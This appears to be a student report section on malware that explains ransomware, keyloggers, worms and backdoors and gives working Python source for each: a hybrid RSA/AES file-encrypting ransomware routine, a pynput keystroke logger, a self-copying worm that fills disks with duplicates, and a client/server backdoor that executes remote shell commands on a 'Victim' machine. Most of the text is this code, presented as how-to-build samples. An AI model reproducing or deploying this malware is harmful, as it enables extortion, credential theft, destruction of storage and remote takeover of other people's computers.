**5.1 REVERESE ENGINEERING AND MALWARE ANALYSIS**

Shubhash s

Roopkatha pradhan

Gitesh bhavsar

Shreya dokania

**RANSOMWARE**

it is a malicious software or computer virus, upon triggering which will encrypt the files and data in the disk and asks for ransom(money) in exchange to decrypt the data.

**HOW SIMPLE RANSOMWARE MADE WITH PYTHON:**

First a private public key pair is generated using libraries which supports algorithm rsa

Then generated public key and private key is encoded with base64 so that reverse engineers and malware analysist can’t easily find the keys.

Then a recursive function will scan the directories and files and encrypt those data with public key and delete those original files

Based on malware author this malware can have GUI with countdown and other graphic interface with payment gateway embedded can be included.

**SAMPLE CODE:**

|  |  |
| --- | --- |
|  | Import base64  import os |
|  | from Crypto.PublicKey import RSA |
|  | from Crypto.Cipher import PKCS1\_OAEP, AES |
|  |  |
|  | ''' |
|  | with open('public.pem', 'rb') as f: |
|  | public = f.read() |
|  |  |
|  | print(base64.b64encode(public)) |
|  | ''' |
|  |  |
|  | # public key with base64 encoding |
|  | pubKey = '''''' |
|  | pubKey = base64.b64decode(pubKey) |
|  |  |
|  |  |
|  | def scanRecurse(baseDir): |
|  | ''' |
|  | Scan a directory and return a list of all files |
|  | return: list of files |
|  | ''' |
|  | for entry in os.scandir(baseDir): |
|  | if entry.is\_file(): |
|  | yield entry |
|  | else: |
|  | yield from scanRecurse(entry.path) |
|  |  |
|  |  |
|  | def encrypt(dataFile, publicKey): |
|  | ''' |
|  | use EAX mode to allow detection of unauthorized modifications |
|  | ''' |
|  | # read data from file |
|  | with open(dataFile, 'rb') as f: |
|  | data = f.read() |
|  |  |
|  | # convert data to bytes |
|  | data = bytes(data) |
|  |  |
|  | # create public key object |
|  | key = RSA.import\_key(publicKey) |
|  | sessionKey = os.urandom(16) |
|  |  |
|  | # encrypt the session key with the public key |
|  | cipher = PKCS1\_OAEP.new(key) |
|  | encryptedSessionKey = cipher.encrypt(sessionKey) |
|  |  |
|  | # encrypt the data with the session key |
|  | cipher = AES.new(sessionKey, AES.MODE\_EAX) |
|  | ciphertext, tag = cipher.encrypt\_and\_digest(data) |
|  |  |
|  | # save the encrypted data to file |
|  | [ fileName, fileExtension ] = dataFile.split('.') |
|  | encryptedFile = fileName + '\_encrypted.' + fileExtension |
|  | with open(encryptedFile, 'wb') as f: |
|  | [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ] |
|  | print('Encrypted file saved to ' + encryptedFile) |
|  |  |
|  | fileName = 'test.txt' |
|  | encrypt(fileName, pubKey) |

def decrypt(dataFile, privateKeyFile):

'''

use EAX mode to allow detection of unauthorized modifications

'''

# read private key from file

with open(privateKeyFile, 'rb') as f:

privateKey = f.read()

# create private key object

key = RSA.import\_key(privateKey)

# read data from file

with open(dataFile, 'rb') as f:

# read the session key

encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size\_in\_bytes(), 16, 16, -1) ]

# decrypt the session key

cipher = PKCS1\_OAEP.new(key)

sessionKey = cipher.decrypt(encryptedSessionKey)

# decrypt the data with the session key

cipher = AES.new(sessionKey, AES.MODE\_EAX, nonce)

data = cipher.decrypt\_and\_verify(ciphertext, tag)

# save the decrypted data to file

[ fileName, fileExtension ] = dataFile.split('.')

decryptedFile = fileName + '\_decrypted.' + fileExtension

with open(decryptedFile, 'wb') as f:

f.write(data)

print('Decrypted file saved to ' + decryptedFile)

**KEYLOGGER:**

This type of malware is installed indirectly by other malware or installed directly by malicious hacker. This malware will log all the keystrokes entered by the users in the pc or will log the keystrokes only when particularly entering the credentials.

**HOW SIMPLE KEYLOGGER IS MADE BY PYTHON**

Using pynput library the keystrokes can be captured. those keystrokes can be locally stored in the pc or remotely stored in the cloud or hackers pc.

Those reading and writing of file (file handling) can be done by os library.

**SAMPLE CODE:**

import pynput

import os

from pynput.keyboard import Key, Listener

#function defines actions on the key press

def on\_press(key):

print(key)

write\_file(key)

if key == Key.esc:

clear\_file()

return False

#function writes each key to a file

def write\_file(key):

#gives the path of the directory this program is in

pth = os.path.dirname(os.path.realpath(\_\_file\_\_))

#specify the name of the file to write to

file\_name = "log.txt"

#combines the previous two varibales to get the full path of the log.txt file

address = os.path.join(pth,file\_name)

#open file in append mode

with open(address, "a") as f:

#replace single quotes with nothing

k = str(key).replace("'","")

#Key.Space will now be logged as a space

if k == "Key.space":

f.write(' ')

#Key.backspace will now be logged as an asterisk (\*)

if k == "Key.backspace":

f.write('\*')

#Key.enter will now be logged as a space

if k == "Key.enter":

f.write(' ')

#will exclude all other "non-standard" keys that begin with "Key"

#and write only the "normal", alpahbetical keys

elif k.find("Key") == -1:

f.write(k)

#function clears the log.txt file to prep it for its next use

def clear\_file():

#exact same method of obtaining log.txt file path as write\_file()

pth = os.path.dirname(os.path.realpath(\_\_file\_\_))

file\_name = "log.txt"

address = os.path.join(pth,file\_name)

#clears the log file

with open(address, "r+") as f:

f.truncate(0)

f.seek(0)

with Listener(on\_press=on\_press) as listener:

listener.join()

**WORMS**

A worm is a type of malicious software or malware that is capable of self-replicating and spreading across computer networks without requiring any user interaction. It is designed to exploit vulnerabilities in computer systems, allowing it to infect other.

**HOW SIMPLE WORMS IS MADE IN PYTHON:**

This worm will replicate the files and fill the space in the disk with duplicate files.

Shutil is one of the library which is used to copy the files contents. which will ne used to copy the files from given directory to targeted directory with mentioned no. of copies.

This worm will replicate itself by creating new instance of above file duplicating function for various directory.

**SAMPLE CODE:**

import os

import shutil

class Worm:

def \_\_init\_\_(self, path=None, target\_dir\_list=None, iteration=None):

if isinstance(path, type(None)):

self.path = "/"

else:

self.path = path

if isinstance(target\_dir\_list, type(None)):

self.target\_dir\_list = []

else:

self.target\_dir\_list = target\_dir\_list

if isinstance(target\_dir\_list, type(None)):

self.iteration = 2

else:

self.iteration = iteration

# get own absolute path

self.own\_path = os.path.realpath(\_\_file\_\_)

def list\_directories(self,path):

self.target\_dir\_list.append(path)

files\_in\_current\_directory = os.listdir(path)

for file in files\_in\_current\_directory:

# avoid hidden files/directories (start with dot (.))

if not file.startswith('.'):

# get the full path

absolute\_path = os.path.join(path, file)

print(absolute\_path)

if os.path.isdir(absolute\_path):

self.list\_directories(absolute\_path)

else:

pass

def create\_new\_worm(self):

for directory in self.target\_dir\_list:

destination = os.path.join(directory, ".worm.py")

# copy the script in the new directory with similar name

shutil.copyfile(self.own\_path, destination)

def copy\_existing\_files(self):

for directory in self.target\_dir\_list:

file\_list\_in\_dir = os.listdir(directory)

for file in file\_list\_in\_dir:

abs\_path = os.path.join(directory, file)

if not abs\_path.startswith('.') and not os.path.isdir(abs\_path):

source = abs\_path

for i in range(self.iteration):

destination = os.path.join(directory,("."+file+str(i)))

shutil.copyfile(source, destination)

def start\_worm\_actions(self):

self.list\_directories(self.path)

print(self.target\_dir\_list)

self.create\_new\_worm()

self.copy\_existing\_files()

if \_\_name\_\_=="\_\_main\_\_":

current\_directory = os.path.abspath("")

worm = Worm(path=current\_directory)

worm.start\_worm\_actions()

**BACKDOOR:**

A backdoor is a hidden method or entry point in a computer system or software application that allows unauthorized access and control of the system without going through normal authentication or security mechanisms. It is typically created by developers or attackers to bypass normal security measures and gain privileged access to a system.

**HOW SIMPLE BACKDOOR IS MADE IN PYTHON:**

Basically Backdoor is a socket communication, consist of client and server script running on both pc. Here server can be hacker or compromised system based on the situation.

Both script will create a connection and bind to it and listen to it.

This way hacker can able to communicate to the compromised system.

**SAMPLE CODE:**

**SERVER**

import socket

class Server:

def \_\_init\_\_(self, host\_ip, host\_port):

self.host\_ip = host\_ip

self.host\_port = host\_port

def start\_conn(self):

print("####################################")

print("######### Server Program #########")

print("####################################")

server = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

server.bind((self.host\_ip,self.host\_port))

print("Msg: Server Initiated...")

print("Msg: Listening to the Client")

server.listen(1)

self.client, self.client\_addr = server.accept()

print("Msg: Received Connection from", self.client\_addr)

def online\_interaction(self):

while True:

interface = '[+] '+ str(self.client\_addr[0]) + " :sh$ "

command = input(interface)

print(command)

self.client.send(command.encode())

recv\_data = self.client.recv(1024).decode()

if recv\_data == b"":

continue

print("\n", recv\_data, "\n")

def offline\_interaction(self,list\_of\_commands):

self.client.send(str(list\_of\_commands).encode())

recv\_data = self.client.recv(1024).decode()

print("Received output data from Client\n\n")

print(recv\_data)

if \_\_name\_\_ == '\_\_main\_\_':

server = Server('127.0.0.1', 4000)

server.start\_conn()

server.online\_interaction()

**CLIENT:**

import socket

import subprocess

import ast

class Victim:

def \_\_init\_\_(self, server\_ip, server\_port):

self.server\_ip = server\_ip

self.server\_port = server\_port

def connect\_to\_server(self):

print("####################################")

print("########## Client Program ##########")

print("####################################")

self.client = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

print("Msg: Client Initiated...")

self.client.connect((self.server\_ip, self.server\_port))

print("Msg: Connection initiated...")

def online\_interaction(self):

while True:

print("[+] Awaiting Shell Commands...")

user\_command = self.client.recv(1024).decode()

# print("received command: $ ", user\_command)

op = subprocess.Popen(user\_command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

output = op.stdout.read()

output\_error = op.stderr.read()

print("[+] Sending Command Output...")

if output == b"" and output\_error == b"":

self.client.send(b"client\_msg: no visible output")

else:

self.client.send(output + output\_error)

def offline\_interaction(self):

print("[+] Awaiting Shell Command List...")

rec\_user\_command\_list = self.client.recv(1024).decode()

user\_command\_list = ast.literal\_eval(rec\_user\_command\_list)

final\_output = ""

for command in user\_command\_list:

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

output = op.stdout.read()

output\_error = op.stderr.read()

final\_output += command + "\n" + str(output) + "\n" + str(output\_error) + "\n\n"

self.client.send(final\_output.encode())

if \_\_name\_\_ == '\_\_main\_\_':

choice = "online" # "offline"

victim = Victim('127.0.0.1', 4000)

victim.connect\_to\_server()

if choice == "online":

victim.online\_interaction()

else:

victim.offline\_interaction()